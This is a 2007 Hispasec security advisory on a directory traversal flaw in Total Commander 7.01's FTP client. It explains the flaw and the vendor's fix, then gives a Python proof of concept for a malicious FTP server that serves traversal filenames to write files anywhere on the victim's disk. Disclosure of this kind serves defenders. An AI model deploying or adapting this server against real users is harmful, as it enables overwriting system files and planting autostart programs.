Total Commander 7.01 Remote FTP Client Directory Traversal

2007.09.10
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

HISPASEC Security Advisory http://blog.hispasec.com/lab/ Name : 2K7SEPT6 Total Commander 7.01 Remote FTP Client Directory Traversal Class : Remote Directory Traversal Threat level : HIGH Discovered : 2007-08-25 Published : 2007-09-06 Credit : Gynvael Coldwind Vulnerable : 7.01 and prior == Abstract == Christian Ghislers Total Commander is a popular Windows file explorer with a built-in support for FTP protocol. Total Commander is vulnerable to remote file name spoofing leading to local directory traversal while downloading a file from a malformed FTP server. Successful exploitation may lead to a full scale system compromise. == Details == The FTP feature fails to correctly check the name of a file that is to be downloaded. This filename can contain backslashes and dots, and these dots and backslashes will be shown in the "Download" (Copy used on a file on the FTP server) window, and so, the file will be downloaded to a location chosen by the attacker. To make it worse, Total Commander strips path from the listing window, so that these backslashes and dots are not shown in the location window. How this is done: 1. A Total Commander user connects to an FTP server. 2. The Total Commander starts the FTP procedure: USER something PASS something SYST FEAT PWD TYPE A PASV LIST 3. The FTP send the following file list to the Total Commander: -rwxr-xr-x 2 ftp ftp 4096 Aug 1 02:28 st..........BackSlashPoC 4. The Total Commander will strip the backslashes, and will show only BackSlashPoC in the lister window.a 5. The user presses F5 (copy) on the file and Enter. The dots and backslashes will be shown there, but the uses in most cases will not notice it (this has been tested). If the file is located inside a directory or was selected for batch copying the user will never be informed about the additional path traversal. 6. The file is downloaded to the location UserChosenst............BackSlashPoC Since more then enough .... will just bring the path to the disk root, the attacker can choose any location on the disk to write the file to. The file can for example overwrite a critical system file, or create a file in the Autostart folder. See Proof of Concept exploit at the bottom of this advisory. == Vendor status and solution == The vendor has been informed and has released a new version (7.02) with this issue being fixed. It is advised to upgrade Total Commander to the newest version availible. == Proof of Concept == # python localhost ftp server import socket TransferSock = 0 def sendDirList (sock): (DataSock, Address) = TransferSock.accept() print "sendDirList: TransferSock accepted a connection" sock.send("150 Opening ASCII mode data connection for file listrn"); DataSock.send("-rwxr-xr-x 2 ftp ftp 4096 Aug 1 02:28 st\..\..\..\..\..\BackSlashPoCn"); DataSock.close() sock.send("226 Transfer complete.rn"); print "sendDirList: Transfer completern" def sendFile (sock): (DataSock, Address) = TransferSock.accept() print "sendDirList: TransferSock accepted a connection" sock.send("150 Opening BINARY mode data connection for sth (5 bytes)rn"); DataSock.send("Proof of Concept - Remote FTP Client directory traversal vulnerability (G.C. - Hispasec)"); DataSock.close() sock.send("226 Transfer complete.rn"); print "sendDirList: Transfer completern" def handleUSER (sock, cmd, argz): sock.send("331 Password required for userrn") def handlePASS (sock, cmd, argz): sock.send("230 User logged in.rn") def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8rn") def handleFEAT (sock, cmd, argz): sock.send("211-Features:rn MDTMrn REST STREAMrn211 Endrn"); def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "rn"); def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode (127,0,0,1,10,10)rn"); def handlePWD (sock, cmd, argz): sock.send("257 "/ProofOfConcept" is current directory.rn") def handleLIST (sock, cmd, argz): sendDirList(sock) def handleQUIT (sock, cmd, argz): sock.send("Bye.rn") sock.close() def handleRETR (sock, cmd, argz): if argz == "/": sendDirList(sock) else: sendFile(sock) def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation not permittedrn") handlers = { 'USER': handleUSER, 'PASS': handlePASS, 'SYST': handleSYST, 'FEAT': handleFEAT, 'TYPE': handleTYPE, 'PASV': handlePASV, 'PWD': handlePWD, 'LIST': handleLIST, 'QUIT': handleQUIT, 'RETR': handleRETR } ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ControlSock.bind(("127.0.0.1", 2021)) ControlSock.listen(1) TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) TransferSock.bind(("127.0.0.1", 10 * 256 + 10)) TransferSock.listen(10) # Control Sock loop (ClientSock, Address) = ControlSock.accept() ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.rn"); end = 0 while not end: cmd = ClientSock.recv(1024) print "Debug: recv -> " + cmd.strip() command = (cmd[0:4]).strip() argz = ((cmd.strip())[5:]).strip() handlers.get(command, unknown)(ClientSock, command, argz) == Disclaimer == This document and all the information it contains is provided "as is", without any warranty. Hispasec Sistemas is not responsible for the misuse of the information provided in this advisory. The advisory is provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. Copyright (C) 2007 Hispasec Sistemas. -- Gynvael Coldwind mailto: gynvael AT vexillium DOT org mailto: michael AT hispasec DOT com


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